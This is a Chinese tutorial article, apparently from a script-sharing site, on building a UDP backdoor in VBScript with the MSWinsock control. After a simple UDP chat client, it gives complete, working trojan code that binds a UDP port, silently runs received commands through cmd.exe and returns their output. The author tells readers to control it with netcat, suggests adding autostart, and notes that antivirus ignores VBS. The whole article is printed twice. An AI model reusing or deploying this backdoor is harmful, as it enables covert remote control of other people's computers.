VBS+MSWinsock打造靈巧UDP后門的相關(guān)資料
更新時(shí)間:2007年02月26日 00:00:00 作者:
大概在一年前,VBS腳本病毒又揭起一陣熱潮,一大群VBS病毒在互聯(lián)網(wǎng)上盛行。那時(shí)的VBS病毒幾乎都是用FSO、MAPI作為一個(gè)病毒傳染引擎,所以我就想,VBS可否訪問網(wǎng)絡(luò)呢?如果它也能進(jìn)行端口的連接,那就神奇了。從此之后,我就努力去找有關(guān)VBS的網(wǎng)絡(luò)類的資料,可惜找了好久,什么收獲也沒有,直到一個(gè)月前高考結(jié)束了,我才可以靜下來搞這個(gè)東西,并終于有了一點(diǎn)進(jìn)展。
現(xiàn)在分析一下VBS的運(yùn)作原理吧。VBS的全稱是“Visual Basic Scripts”,由于VBS是由Visual Basic分離出來的一種面向?qū)ο蟮哪_本語(yǔ)言,所以它的語(yǔ)法與Visual Basic差不多,而且也是靠Object來實(shí)現(xiàn)它的其它高級(jí)功能。只不過是VBS是用Wscript.exe或Cscript.exe來解釋的,因此它不需要編譯,直接運(yùn)行就行了,所以這也是VBS腳本做黑客工具方面的特長(zhǎng)之一:普通殺毒軟件不會(huì)對(duì)VBS感興趣。因?yàn)閂BS是一種面向?qū)ο蟮哪_本語(yǔ)言,所以微軟的很多ActiveX組件都可以通過“CreateObject(“ObjectName”)”來創(chuàng)建引用,這可能是微軟公司的程序接口吧!也許用過VB編寫網(wǎng)絡(luò)程序的朋友也知道,用VB寫網(wǎng)絡(luò)程序大致有兩種:一是調(diào)用Windows的API函數(shù),二是用VB自帶的Winsock控件,也就是在Windows系統(tǒng)目錄中見到的“MSWinsock.ocx”。由于前者的API函數(shù)比較復(fù)雜,很多朋友比較喜歡用VB自帶的Winsock控件,不知道大家有沒有留意到那個(gè)Winsock控件,其實(shí)它就是我前面講的ActiveX組件,它提供了訪問TCP和UDP網(wǎng)絡(luò)服務(wù)的方便途徑,為編寫客戶或服務(wù)器應(yīng)用程序,不必了解TCP的細(xì)節(jié)或調(diào)用低級(jí)的Winsock APIs。通過設(shè)置控件的屬性并調(diào)用其方法就可輕易連接到一臺(tái)遠(yuǎn)程機(jī)器上去,并且還可雙向交換數(shù)據(jù)。既然找到了訪問網(wǎng)絡(luò)的引擎,那如何來用呢?用法又是不和VB中那樣用呢?
Winsock控件用法大體上是同VB上的一樣,但在VBS中,ActiveX控件并不是像VB中那樣是可以見到的,要在VBS上引用它當(dāng)然是先創(chuàng)建它的對(duì)象。創(chuàng)建方法就像創(chuàng)建FSO等對(duì)像。新建一個(gè)文本文件,在里面寫入:
--------------------------------------------------
Set Sock=CreateObject("MSWinsock.Winsock")
Sock.AboutBox
--------------------------------------------------
保存為*.vbs運(yùn)行它,就可以看到注冊(cè)在你系統(tǒng)中的WinSock控件的有關(guān)信息。
怎能么樣?開心吧,別急,我下面會(huì)詳細(xì)講講。既然對(duì)象創(chuàng)建成功了,當(dāng)然是要像VB中那樣用它了。在VBS中創(chuàng)建的WinScok不能像VB中那樣圖形介面那樣設(shè)置參數(shù)就行,是應(yīng)該一步一個(gè)腳印來設(shè)置好你所創(chuàng)的是什么協(xié)議。在WinSock控件中要設(shè)置的協(xié)議是通過“Protocol”來設(shè)定的,如sock.Protocol=0 或 sock.Protocol=1。注意當(dāng)“Protocol”的值為“0”時(shí),所創(chuàng)建的協(xié)議是TCP;值為“1”時(shí),則創(chuàng)建的是UDP。
我先介紹一下有關(guān)WinSock控件引用的基本方法和事件吧:
LocalHostName //取得本地主機(jī)名
LocalIP //取得本地主機(jī)IP
SocketHandle //取得創(chuàng)建SOCK的句柄
RemotePort //設(shè)置或取得遠(yuǎn)程端口
LocalPort //設(shè)置或取得本地端口
State //返回創(chuàng)建sock的對(duì)像狀態(tài)(代嗎如下){
0 缺省的。關(guān)閉
1 打開
2 偵聽
3 連接掛起
4 識(shí)別主機(jī)
5 已識(shí)別主機(jī)
6 正在連接
7 已連接
8 同級(jí)人員正在關(guān)閉連接
9 錯(cuò)誤 }
BytesReceived //返回接收到的(當(dāng)前在接收端緩沖區(qū)內(nèi)的)數(shù)據(jù)的數(shù)量
Connect(RemoteHost,RemotePort) //建立遠(yuǎn)程連接,RemoteHost遠(yuǎn)程主機(jī)IP,RemotePort遠(yuǎn)程主機(jī)端口
Listen //使SOCK偵聽
SendData/GetData //發(fā)送或接收數(shù)據(jù)
Close //關(guān)閉對(duì)像
Bind(LocalPort, LocalIP)//綁定本地端口。
那些基本的東西我講完了,下面我測(cè)試一下遠(yuǎn)程主機(jī)會(huì)話吧(UDP),下面是一個(gè)VBS文件,大家可以試試,代碼如下(文件sock-udp.vbs):
----------------------------------------
dim revdata
dim sendata
//創(chuàng)建Winsock對(duì)像
set sock=createobject("MSWinsock.Winsock")
//使用UDP協(xié)議
//建立連接
sock.Protocol=1sock.Connect "127.0.0.1",1234
//定義要發(fā)送的數(shù)據(jù)
sendata="Hello!!!"&chr(13)
//發(fā)送我們要發(fā)的數(shù)據(jù)
sock.senddata sendata
do
//如果有數(shù)據(jù)回應(yīng)就顯示它
if sock.BytesReceived>0 then
//定義接收數(shù)據(jù)類型(數(shù)據(jù)類型有vbByte、vbInteger、vbLong、vbSingle
//vbDouble、vbCurrency、vbDate、vbBoolean、vbError、vbString、vbArray+vbByte)
//也只有定義好要接收的數(shù)據(jù)類型才能收到數(shù)據(jù),不然會(huì)收到的是一堆亂碼;
sock.getdata revdata,vbString;
sendata=inputbox (revdata,"RecviedData","請(qǐng)輸入你要發(fā)的信息")
sock.senddata senddata & chr(13)
//當(dāng)收到含有"exit"字串時(shí)結(jié)束VBS進(jìn)程
if instr(revdata,"exit") then exit do
else
end if
loop
//關(guān)閉對(duì)像套接
sock.close
------------------------------------------
然后用“nc -u -l -p 1234”監(jiān)聽本地UDP端口1234,再運(yùn)行剛編寫的VBS文件,看!我的NC有反應(yīng)了。
里面的“MicroSoft (r) Windows Based Script Host”就是我們的VBS主進(jìn)程了。在NC里我們還可以發(fā)信息、聊天,怎么樣?一個(gè)簡(jiǎn)單的UDP C/S已經(jīng)完成了。下面我再寫一個(gè)關(guān)于它的利用吧,既然它能訪問網(wǎng)絡(luò),當(dāng)然是用它的做個(gè)VBS木馬啦!老編們不會(huì)反對(duì)吧!哈哈,Let's Go!
--------------------------
Dim revdata
set sock=createobject("MSWinsock.Winsock")
set sc=createobject("WScript.Shell")
Set fso =CreateObject("Scripting.FileSystemObject")
sock.Protocol=1 //這個(gè)當(dāng)然是UDP協(xié)議的標(biāo)識(shí)啦
sock.bind 1234 //綁定本地的UDP端口
Do
if sock.BytesReceived>0 then
sock.getdata revdata,vbString
if instr(revdata,"exit")>0 then
exit do
else
on error resume next
tempfile="C:\" & fso.GetTempName
'cmd=right(revdata,len(revdata)-4)
cmd=left(revdata,len(revdata)-3)
//利用綁定cmd的輸出
call sc.Run ("cmd.exe /c " & cmd & " > " & tempfile,0,True)
Set txf = fso.OpenTextFile(tempfile,1,false,0)
//把輸出的文件讀入內(nèi)存,用SendData發(fā)送到客戶端
sock.senddata txf.readall & vbcrlf & vbcrlf
txf.close
call fso.DeleteFile(TempFile,True)
end if
//嘻嘻,下面是我的版權(quán)喔
sock.senddata "--End--" & vbcrlf & "ForHelp exit:end|run:<RunFileName>" & vbcrlf & "Maked by Attrib Data:2004.7.28" & vbcrlf & vbcrlf
end if
Loop
sock.senddata "連接已關(guān)閉!" & vbcrlf
sock.close
sock=nothings
-------------------
到此,代碼的基本架構(gòu)已經(jīng)完成了,要想做一個(gè)全能的木馬可以在代碼里加上諸如開機(jī)自動(dòng)運(yùn)行等。由于VBS程序沒有設(shè)置出錯(cuò)保護(hù),可能一些錯(cuò)誤的操作會(huì)出現(xiàn)程蹦潰,有興趣的朋友可以自己試試。用法是先把這個(gè)VBS后門運(yùn)行在服務(wù)端,之后就用你的NC連,因?yàn)橛玫氖荱DP協(xié)議,NC的命令行是“NC –u IP Port”,記得要加上那個(gè)“-u”參數(shù)啊,之后就像WinShell一樣用就行了,下面是在我的機(jī)器里測(cè)試的截圖。
至于TCP如何編寫,道理也跟UDP差不多,我這里就不再多寫了,大家可以自己研究下。
如果有什么好的方法還可以和我一同研究。謝謝觀賞。
現(xiàn)在分析一下VBS的運(yùn)作原理吧。VBS的全稱是“Visual Basic Scripts”,由于VBS是由Visual Basic分離出來的一種面向?qū)ο蟮哪_本語(yǔ)言,所以它的語(yǔ)法與Visual Basic差不多,而且也是靠Object來實(shí)現(xiàn)它的其它高級(jí)功能。只不過是VBS是用Wscript.exe或Cscript.exe來解釋的,因此它不需要編譯,直接運(yùn)行就行了,所以這也是VBS腳本做黑客工具方面的特長(zhǎng)之一:普通殺毒軟件不會(huì)對(duì)VBS感興趣。因?yàn)閂BS是一種面向?qū)ο蟮哪_本語(yǔ)言,所以微軟的很多ActiveX組件都可以通過“CreateObject(“ObjectName”)”來創(chuàng)建引用,這可能是微軟公司的程序接口吧!也許用過VB編寫網(wǎng)絡(luò)程序的朋友也知道,用VB寫網(wǎng)絡(luò)程序大致有兩種:一是調(diào)用Windows的API函數(shù),二是用VB自帶的Winsock控件,也就是在Windows系統(tǒng)目錄中見到的“MSWinsock.ocx”。由于前者的API函數(shù)比較復(fù)雜,很多朋友比較喜歡用VB自帶的Winsock控件,不知道大家有沒有留意到那個(gè)Winsock控件,其實(shí)它就是我前面講的ActiveX組件,它提供了訪問TCP和UDP網(wǎng)絡(luò)服務(wù)的方便途徑,為編寫客戶或服務(wù)器應(yīng)用程序,不必了解TCP的細(xì)節(jié)或調(diào)用低級(jí)的Winsock APIs。通過設(shè)置控件的屬性并調(diào)用其方法就可輕易連接到一臺(tái)遠(yuǎn)程機(jī)器上去,并且還可雙向交換數(shù)據(jù)。既然找到了訪問網(wǎng)絡(luò)的引擎,那如何來用呢?用法又是不和VB中那樣用呢?
Winsock控件用法大體上是同VB上的一樣,但在VBS中,ActiveX控件并不是像VB中那樣是可以見到的,要在VBS上引用它當(dāng)然是先創(chuàng)建它的對(duì)象。創(chuàng)建方法就像創(chuàng)建FSO等對(duì)像。新建一個(gè)文本文件,在里面寫入:
--------------------------------------------------
Set Sock=CreateObject("MSWinsock.Winsock")
Sock.AboutBox
--------------------------------------------------
保存為*.vbs運(yùn)行它,就可以看到注冊(cè)在你系統(tǒng)中的WinSock控件的有關(guān)信息。
怎能么樣?開心吧,別急,我下面會(huì)詳細(xì)講講。既然對(duì)象創(chuàng)建成功了,當(dāng)然是要像VB中那樣用它了。在VBS中創(chuàng)建的WinScok不能像VB中那樣圖形介面那樣設(shè)置參數(shù)就行,是應(yīng)該一步一個(gè)腳印來設(shè)置好你所創(chuàng)的是什么協(xié)議。在WinSock控件中要設(shè)置的協(xié)議是通過“Protocol”來設(shè)定的,如sock.Protocol=0 或 sock.Protocol=1。注意當(dāng)“Protocol”的值為“0”時(shí),所創(chuàng)建的協(xié)議是TCP;值為“1”時(shí),則創(chuàng)建的是UDP。
我先介紹一下有關(guān)WinSock控件引用的基本方法和事件吧:
LocalHostName //取得本地主機(jī)名
LocalIP //取得本地主機(jī)IP
SocketHandle //取得創(chuàng)建SOCK的句柄
RemotePort //設(shè)置或取得遠(yuǎn)程端口
LocalPort //設(shè)置或取得本地端口
State //返回創(chuàng)建sock的對(duì)像狀態(tài)(代嗎如下){
0 缺省的。關(guān)閉
1 打開
2 偵聽
3 連接掛起
4 識(shí)別主機(jī)
5 已識(shí)別主機(jī)
6 正在連接
7 已連接
8 同級(jí)人員正在關(guān)閉連接
9 錯(cuò)誤 }
BytesReceived //返回接收到的(當(dāng)前在接收端緩沖區(qū)內(nèi)的)數(shù)據(jù)的數(shù)量
Connect(RemoteHost,RemotePort) //建立遠(yuǎn)程連接,RemoteHost遠(yuǎn)程主機(jī)IP,RemotePort遠(yuǎn)程主機(jī)端口
Listen //使SOCK偵聽
SendData/GetData //發(fā)送或接收數(shù)據(jù)
Close //關(guān)閉對(duì)像
Bind(LocalPort, LocalIP)//綁定本地端口。
那些基本的東西我講完了,下面我測(cè)試一下遠(yuǎn)程主機(jī)會(huì)話吧(UDP),下面是一個(gè)VBS文件,大家可以試試,代碼如下(文件sock-udp.vbs):
----------------------------------------
dim revdata
dim sendata
//創(chuàng)建Winsock對(duì)像
set sock=createobject("MSWinsock.Winsock")
//使用UDP協(xié)議
//建立連接
sock.Protocol=1sock.Connect "127.0.0.1",1234
//定義要發(fā)送的數(shù)據(jù)
sendata="Hello!!!"&chr(13)
//發(fā)送我們要發(fā)的數(shù)據(jù)
sock.senddata sendata
do
//如果有數(shù)據(jù)回應(yīng)就顯示它
if sock.BytesReceived>0 then
//定義接收數(shù)據(jù)類型(數(shù)據(jù)類型有vbByte、vbInteger、vbLong、vbSingle
//vbDouble、vbCurrency、vbDate、vbBoolean、vbError、vbString、vbArray+vbByte)
//也只有定義好要接收的數(shù)據(jù)類型才能收到數(shù)據(jù),不然會(huì)收到的是一堆亂碼;
sock.getdata revdata,vbString;
sendata=inputbox (revdata,"RecviedData","請(qǐng)輸入你要發(fā)的信息")
sock.senddata senddata & chr(13)
//當(dāng)收到含有"exit"字串時(shí)結(jié)束VBS進(jìn)程
if instr(revdata,"exit") then exit do
else
end if
loop
//關(guān)閉對(duì)像套接
sock.close
------------------------------------------
然后用“nc -u -l -p 1234”監(jiān)聽本地UDP端口1234,再運(yùn)行剛編寫的VBS文件,看!我的NC有反應(yīng)了。
里面的“MicroSoft (r) Windows Based Script Host”就是我們的VBS主進(jìn)程了。在NC里我們還可以發(fā)信息、聊天,怎么樣?一個(gè)簡(jiǎn)單的UDP C/S已經(jīng)完成了。下面我再寫一個(gè)關(guān)于它的利用吧,既然它能訪問網(wǎng)絡(luò),當(dāng)然是用它的做個(gè)VBS木馬啦!老編們不會(huì)反對(duì)吧!哈哈,Let's Go!
--------------------------
Dim revdata
set sock=createobject("MSWinsock.Winsock")
set sc=createobject("WScript.Shell")
Set fso =CreateObject("Scripting.FileSystemObject")
sock.Protocol=1 //這個(gè)當(dāng)然是UDP協(xié)議的標(biāo)識(shí)啦
sock.bind 1234 //綁定本地的UDP端口
Do
if sock.BytesReceived>0 then
sock.getdata revdata,vbString
if instr(revdata,"exit")>0 then
exit do
else
on error resume next
tempfile="C:\" & fso.GetTempName
'cmd=right(revdata,len(revdata)-4)
cmd=left(revdata,len(revdata)-3)
//利用綁定cmd的輸出
call sc.Run ("cmd.exe /c " & cmd & " > " & tempfile,0,True)
Set txf = fso.OpenTextFile(tempfile,1,false,0)
//把輸出的文件讀入內(nèi)存,用SendData發(fā)送到客戶端
sock.senddata txf.readall & vbcrlf & vbcrlf
txf.close
call fso.DeleteFile(TempFile,True)
end if
//嘻嘻,下面是我的版權(quán)喔
sock.senddata "--End--" & vbcrlf & "ForHelp exit:end|run:<RunFileName>" & vbcrlf & "Maked by Attrib Data:2004.7.28" & vbcrlf & vbcrlf
end if
Loop
sock.senddata "連接已關(guān)閉!" & vbcrlf
sock.close
sock=nothings
-------------------
到此,代碼的基本架構(gòu)已經(jīng)完成了,要想做一個(gè)全能的木馬可以在代碼里加上諸如開機(jī)自動(dòng)運(yùn)行等。由于VBS程序沒有設(shè)置出錯(cuò)保護(hù),可能一些錯(cuò)誤的操作會(huì)出現(xiàn)程蹦潰,有興趣的朋友可以自己試試。用法是先把這個(gè)VBS后門運(yùn)行在服務(wù)端,之后就用你的NC連,因?yàn)橛玫氖荱DP協(xié)議,NC的命令行是“NC –u IP Port”,記得要加上那個(gè)“-u”參數(shù)啊,之后就像WinShell一樣用就行了,下面是在我的機(jī)器里測(cè)試的截圖。
至于TCP如何編寫,道理也跟UDP差不多,我這里就不再多寫了,大家可以自己研究下。
如果有什么好的方法還可以和我一同研究。謝謝觀賞。
您可能感興趣的文章:
相關(guān)文章
VBS 腳本中的字典、動(dòng)態(tài)數(shù)組、隊(duì)列和堆棧實(shí)現(xiàn)代碼
今天用VBS腳本寫了幾個(gè)程序,用到了字典(Dictionary)、動(dòng)態(tài)數(shù)組(ArrayList)、隊(duì)列(Queue)和堆棧(Stack)?,F(xiàn)在寫篇Blog總結(jié)一下 ,需要的朋友可以參考下2018-05-05讀取Access數(shù)據(jù)庫(kù)的vbscript代碼打包下載
一段用來讀取Access數(shù)據(jù)庫(kù)的vbscript代碼,來自國(guó)外的代碼,經(jīng)過腳本之家測(cè)試,確實(shí)不錯(cuò)。2011-12-12iisweb.vbs iis網(wǎng)站管理腳本使用介紹
可以使用命令行腳本 iisweb.vbs(存儲(chǔ)在 systemroot\System32 中)在運(yùn)行帶有 IIS 6.0 的 Windows Server 2003 家族成員的本地或遠(yuǎn)程計(jì)算機(jī)上創(chuàng)建網(wǎng)站配置。該命令不創(chuàng)建或破壞內(nèi)容,而只是設(shè)置目錄結(jié)構(gòu)和某些 IIS 配置文件2014-07-07一個(gè)用vbs查找硬盤所有分區(qū)中的指定程序的代碼
用vbs實(shí)現(xiàn)可以查找指定擴(kuò)展名的文件,方便大家搜索2008-06-06